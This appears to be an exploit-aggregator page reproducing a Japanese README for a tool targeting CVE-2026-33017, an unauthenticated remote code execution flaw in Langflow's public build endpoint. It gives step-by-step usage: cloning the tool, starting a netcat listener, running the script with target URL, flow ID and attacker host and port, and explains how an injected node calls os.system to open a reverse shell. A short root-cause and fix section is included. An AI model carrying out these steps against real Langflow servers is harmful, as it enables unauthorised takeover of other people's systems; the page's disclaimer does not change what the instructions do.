Sploitus

Exploit for CVE-2026-33017

kitploit · 2026-09-04

Exploit Code

MARKDOWN107 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-C0GNIT00-CVE-2026-33017
# CVE-2026-33017 - Langflow 未認証 RCE

> **⚠️ 免責事項:** このリポジトリは、許可されたセキュリティテストおよび教育目的のみに使用されます。所有しているシステム、または明示的なテスト許可を得たシステムでのみ使用してください。作者は、このツールの誤用または損害について一切責任を負いません。

## 概要

**CVE-2026-33017** は、LangChain アプリケーションを構築するためのビジュアルフレームワークである Langflow における未認証のリモートコード実行の脆弱性です。

`POST /api/v1/build_public_tmp/{flow_id}/flow` エンドポイントは、認証なしでパブリックフローを構築することを許可します。オプションの `data` パラメータが指定されると、エンドポイントはデータベースに保存されているフローデータの代わりに、攻撃者が制御するフローデータ(ノード定義に任意の Python コードを含む)を使用します。このコードはサンドボックスなしで `exec()` に渡され、未認証のリモートコード実行が発生します。

### 影響を受けるバージョン

  * Langflow <= 1.7.3
  * Langflow >= 1.8.2 で修正済み



### 悪用の前提条件

  1. 対象の Langflow インスタンスに、少なくとも **1 つのパブリックフロー** が存在すること(デモ、チャットボット、共有ワークフローで一般的)
  2. 攻撃者がパブリックフローの UUID を知っていること(共有リンク/URL から発見可能)
  3. 認証は不要 — `client_id` クッキー(任意の文字列値)のみが必要



## インストール

root@kitploit:~
    
    
    git clone https://github.com/<your-username>/CVE-2026-33017.git
    cd CVE-2026-33017
    pip install requests
    

## 使用方法

### 1\. リスナーをセットアップする

攻撃マシン上で、リバースシェルを受け取るための netcat リスナーを起動します:

root@kitploit:~
    
    
    nc -lvnp 4444
    

### 2\. エクスプロイトを実行する

root@kitploit:~
    
    
    python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444
    

### 引数

### 例

root@kitploit:~
    
    
    # ターミナル 1: リスナーを起動
    nc -lvnp 4444
    
    # ターミナル 2: エクスプロイトを実行
    python3 CVE-2026-33017.py \
        --url http://192.168.1.100:7860 \
        --flow-id 550e8400-e29b-41d4-a716-446655440000 \
        --lhost 10.0.0.5 \
        --lport 4444
    

## 動作の仕組み

  1. **`craft_malicious_node()`** — 攻撃者が制御する Python コードを含む `CustomComponent` を持つ悪意のある Langflow ノードを構築します。このコードには、グラフ構築中(フローが実際に「実行」される前)に実行されるトップレベルの `os.system()` 呼び出しが含まれます。

  2. **`fire_payload()`** — 悪意のあるノードを JSON として、ランダムな `client_id` クッキーを持つ認証不要の `build_public_tmp` エンドポイントに送信します。

  3. **コード実行** — サーバーは攻撃者が提供したフローデータを解析し、カスタムコンポーネントをインスタンス化して、`prepare_global_scope()` の間に埋め込まれたコードに対して `exec()` を呼び出します。トップレベルの代入 `_r = __import__('os').system(...)` により、コマンド実行が即座にトリガーされます。

  4. **リバースシェル** — ペイロードは、リスナーに接続し直す Python リバースシェルを起動します。




## 脆弱性の詳細

### 根本原因

`build_public_tmp` エンドポイントは(パブリックフロー用に)認証不要となるように設計されていますが、`data` パラメータを介して攻撃者が提供したフローデータを誤って受け入れます。`data` が提供されると、保存されているフローデータをバイパスし、攻撃者が制御するノードを直接グラフビルダーに渡します。

### 推奨される修正

`build_public_tmp` から `data` パラメータを削除します。パブリックフローは、データベースに保存されているフローデータのみを実行し、攻撃者が提供したデータを決して実行しないようにする必要があります。

## 参考情報

  * NVD - CVE-2026-33017
  * Langflow リリース 1.8.2



## ライセンス

このプロジェクトは、教育および許可されたセキュリティテスト目的のみで提供されます。